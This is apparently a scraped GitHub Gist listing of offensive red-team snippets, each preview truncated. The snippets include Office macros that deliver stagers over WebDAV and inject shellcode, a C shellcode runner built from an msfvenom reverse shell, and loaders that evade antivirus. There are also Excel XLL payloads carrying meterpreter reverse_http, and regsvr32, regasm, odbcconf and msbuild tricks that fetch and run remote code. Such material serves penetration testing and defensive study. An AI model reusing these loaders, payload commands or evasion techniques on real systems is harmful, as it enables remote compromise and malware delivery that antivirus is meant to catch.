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@Arno0x
Arno0x / macro_webdav_delivery.vba
Last active May 21, 2019
Office macro using WedDav mapping to deliver payload
View macro_webdav_delivery.vba
'
' Example of DBC2 msbuild.xml stager delivery through a webdav maping
' The stager file (msbuild.xml) can be generated from the DBC2 controller
'
' NOTE:
' msbuild.exe is supposed to accept a path straight from a webdav server (ex: msbuild.exe \\webdav_server\msbuild.xml)
' but it fails miserably for me, so I have to have to first map the drive...
Sub Go()
Dim cmd As String, srv As String
@Arno0x
Arno0x / macro_evade_av.vba
Last active May 21, 2019
Load shellcode in macro, from bibliography souce
View macro_evade_av.vba
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As LongPtr, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As LongPtr, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As Long, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As Long, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As Long
#End If
View shellcodeExecute.c
// Compile with: cl.exe shellcode_execute.c
//
// Author: Arno0x0x, Twitter: @Arno0x0x
#include <Windows.h>
int main()
{
// Payload obtained with "msfvenom -a x86 -p windows/shell/reverse_tcp LHOST=192.168.52.134"
unsigned char b[] =
@Arno0x
Arno0x / regsvr32.sct
Created Nov 17, 2017
A scriptlet that can be executed by regsvr32.exe for arbitrary code execution
View regsvr32.sct
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
@Arno0x
Arno0x / regasm.cs
Created Nov 17, 2017
A DLL that can be called from regasm.exe/regsvc.exe to execute arbitrary code
View regasm.cs
/*
============== Compile ============
Create Your Strong Name Key -> key.snk
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framewor
@Arno0x
Arno0x / odbcconf.cs
Created Nov 22, 2017
Download and execute arbitrary code with odbcconf.exe
View odbcconf.cs
/*
To use with odbcconf.exe:
odbcconf /S /A {REGSVR odbcconf.dll}
or, from a remote location (if WebDAV support enabled):
odbcconf /S /A {REGSVR \\webdavaserver\dir\odbcconf.dll}
*/
using System;
@Arno0x
Arno0x / detected.cs
Last active Aug 1, 2019
Hiding an AV detected assembly into another one
View detected.cs
/*
Author: Arno0x0x, Twitter: @Arno0x0x
===================================== COMPILING =====================================
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:detected.exe detected.cs
*/
using System.Diagnostics;
using System.Runtime.InteropServices;
View shellcode_multibyteXOR_ExcelRegisterXLL.c
// Compile with:
// cl.exe x86_meterpreter_reverse_http_xor.c /LD /o x86_meterpreter_reverse_http_xor.xll
//
// C/CPP code obtained like this:
// 1. Get a raw meterpreter shellcode:
// msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=any.website.com LPORT=80 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai > met_rev_winhttp_x86.raw
// 2. Encrypt it with a custom multibyte XOR string (https://github.com/Arno0x/ShellcodeWrapper):
// ./shellcode_encoder.py -cpp met_rev_winhttp_x86.raw testkey xor
#include <Windows.h>
View shellcode_ExcelRegisterXLL.c
// Compile with: cl.exe x86_meterpreter_reverse_http.c /LD /o x86_meterpreter_reverse_http.xll
#include <Windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
// Payload obtained via "msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=any.website.com LPORT=80 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f c"
unsigned char b[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
@Arno0x
Arno0x / msbuild.xml
Created Nov 17, 2017
MSBuild project definition to execute arbitrary code from msbuild.exe
View msbuild.xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
</Target>
<UsingTask
TaskName="SharpLauncher"
TaskFactory="CodeTaskFactory"
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